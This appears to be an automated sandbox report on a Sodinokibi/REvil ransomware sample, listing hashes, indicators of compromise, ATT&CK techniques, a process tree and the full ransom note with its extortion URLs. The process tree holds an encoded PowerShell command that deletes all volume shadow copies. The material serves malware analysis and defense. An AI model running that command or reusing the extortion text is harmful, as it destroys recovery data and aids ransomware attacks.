sodinokibi | e0f59603265d8e99b26a4fa1ba3cd3ab5184a9ae29334201cf65df827ac7019e

General

Target

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
Size

116KB
MD5

b86ad4241b01376b3924a380f6f4c934
SHA1

10682d08a18715a79ee23b58fdb6ee44c4e28c61
SHA256

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708
SHA512

54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\81y0e6-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 81y0e6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/07C7945B16323A2E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/07C7945B16323A2E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 9U36ij1P7PzC3K1CZUsZMTn+v6JRABV1eJc2ZOFb/RGEMN/BcUGsK2DCpzAiLx99 PhmDsZAh37zz4w5o00gqYIcq2b8D7iB3wpgnqKqzmYTZQv4PRtdZNG3KZoxWB/8S OaKooBd8f29B4lJksLghFXYoTXRRDQnlNOXHWmzmFGg5pkZzmYR8etgaMeKparnO gNfdzUZi47kKG3TGk+f/hE0qRcFp7lBjE/tVT50haasOj4+ZolpRFAJNzIT5O+Co vjs3lh9Ljo+vnVVuQisXNO6oOYTYm2POLpd2k3GJFmp1iGHfwWudXHvYKC+uvnYD HiwUd2ChYxTne6nDELXcY4BCVi9uSd2Ju/kJ5PP37achTRkQMRA4syKpDQ6uGar2 WqKdnn5Ys6zt7ejKZD5hBGCNoY/X5LD1E+NcC0xLU40adYid/zY2TQnGgjg8OMHt VhKfjqi2/UK33kmuOleQ/36v2rkXGkP3kHuK+Om33nj5ax/gI4wEYw/o20CgFCEI hZoTImAn+kM5TU4iR0ScgxdJA8hGvBk1Fycivl1EGhVDhRCplgCUw4w3rOzUW0s3 svkHK9toVCI7JgOR/jryUwqA5Afjz37736PKyxPuvpBskFPx8CvjsFF/eAOpxdtp eYvJtsxdCdC8I9gfy9+zV03xJFFNB5hafx7TR2KwFyjSZUETGxVW1NDA9ETp5IUT EGOi9N3t195waobu7KTID8VPQ3/7CZpzYKq7AvSNIxzRcruzCKl3Th2d5JiEWA71 rFy0a0rhz7NkmFAxn+LjrvQIpsAs+Z5cBUPKsnACmbmXsBzWbrDxQEsirvDX5XjR jhW7ynkmo+fUXuSMh4io1YiKByQ8MGY4PU4hzdtaTG9GA50Bv5tGWcYTV0IsCnz5 31KSRdxXweTPGkF6lUlTErAL2D/Ds9p5mJomFUyIIrfwkN3FFoE79ot5XhoeAVfN 4OdsqCR9TBgbN3Xtxu2hY9dn972YXNX19NvTaSihhg8a5yUZtE6aKNHJARFv+8kS KlH6rTbVo+PoE+krlWNnqrBzrwbAFzhB8q5l5Bi8GmiZBdwEHE5J8i3SNJiHwyVw 3kqe3vhdT//FgjTMO7EwUUs1V9aec5DF4FA6r/G1HvqQtSKRx/r2NRxHqOW3NV/h 751N9pzyKH2OPZdCHyGSIgWXTbjsCtgyE1Rvg/v7p5BTDLQHvVQU5B27U49xLMpG WE/lzSq2DRZej8jcBWmOFI0BfSe8n0ixuL3HrdA5NBadR8nQd0iWRIPyhWlQAgv+ oRwMe1xnYqVoFm3wu6ZUlg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/07C7945B16323A2E

http://decryptor.cc/07C7945B16323A2E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\CompressInstall.tiff	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\DisableUnpublish.raw => \??\c:\users\admin\pictures\DisableUnpublish.raw.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\ImportUnlock.tif => \??\c:\users\admin\pictures\ImportUnlock.tif.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\UnblockFormat.tiff => \??\c:\users\admin\pictures\UnblockFormat.tiff.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\users\admin\pictures\UnblockFormat.tiff	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\ApproveMount.png => \??\c:\users\admin\pictures\ApproveMount.png.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\ClearReceive.raw => \??\c:\users\admin\pictures\ClearReceive.raw.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\CompressInstall.tiff => \??\c:\users\admin\pictures\CompressInstall.tiff.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\ImportRevoke.crw => \??\c:\users\admin\pictures\ImportRevoke.crw.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\InstallStep.crw => \??\c:\users\admin\pictures\InstallStep.crw.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File renamed	C:\Users\Admin\Pictures\ShowTrace.png => \??\c:\users\admin\pictures\ShowTrace.png.81y0e6	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

description	ioc	process
File opened (read-only)	\??\J:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\K:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\Q:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\R:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\F:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\H:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\M:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\S:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\I:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\L:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\O:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\X:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\D:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\E:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\G:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\N:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\P:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\T:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\U:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\V:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\W:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\A:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\B:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\Y:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened (read-only)	\??\Z:	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a11g.bmp"	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

Drops file in Program Files directory 23 IoCs

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

description	ioc	process
File opened for modification	\??\c:\program files\ReadRestart.raw	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\UnlockUninstall.tiff	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\CompareOut.shtml	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\ConvertFromRequest.html	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\EnableMerge.docx	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\ReadSelect.docx	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File created	\??\c:\program files (x86)\81y0e6-readme.txt	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\NewRemove.gif	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\ReadImport.mp3	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\EnterUnregister.temp	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\InvokePing.potx	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\PushSet.ttc	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\SplitPush.gif	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\StopDisable.kix	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File created	\??\c:\program files\81y0e6-readme.txt	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\CheckpointComplete.wma	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\DisconnectSearch.crw	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\ConfirmUndo.svg	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\ConvertUnregister.svg	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\SkipStart.MTS	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\AssertComplete.svgz	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\AssertExport.xlsb	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
File opened for modification	\??\c:\program files\ConfirmApprove.m3u	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exepowershell.exe

pid	process
68	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
68	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	68	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
Token: SeDebugPrivilege	712	powershell.exe
Token: SeBackupPrivilege	2284	vssvc.exe
Token: SeRestorePrivilege	2284	vssvc.exe
Token: SeAuditPrivilege	2284	vssvc.exe
Token: SeTakeOwnershipPrivilege	68	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

description	pid	process	target process
PID 68 wrote to memory of 712	68	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe	powershell.exe
PID 68 wrote to memory of 712	68	14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
"C:\Users\Admin\AppData\Local\Temp\14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe"
1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:68

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:712

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3744

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/712-2-0x0000000000000000-mapping.dmp

Download
memory/712-3-0x00007FF8C5890000-0x00007FF8C627C000-memory.dmp

Filesize
9.9MB

Download
memory/712-4-0x00000241DC5F0000-0x00000241DC5F1000-memory.dmp

Filesize
4KB

Download
memory/712-5-0x00000241C1F90000-0x00000241C1F92000-memory.dmp

Filesize
8KB

Download
memory/712-7-0x00000241DC8D0000-0x00000241DC8D1000-memory.dmp

Filesize
4KB

Download
memory/712-6-0x00000241C1F93000-0x00000241C1F95000-memory.dmp

Filesize
8KB

Download
memory/712-8-0x00000241C1F96000-0x00000241C1F98000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads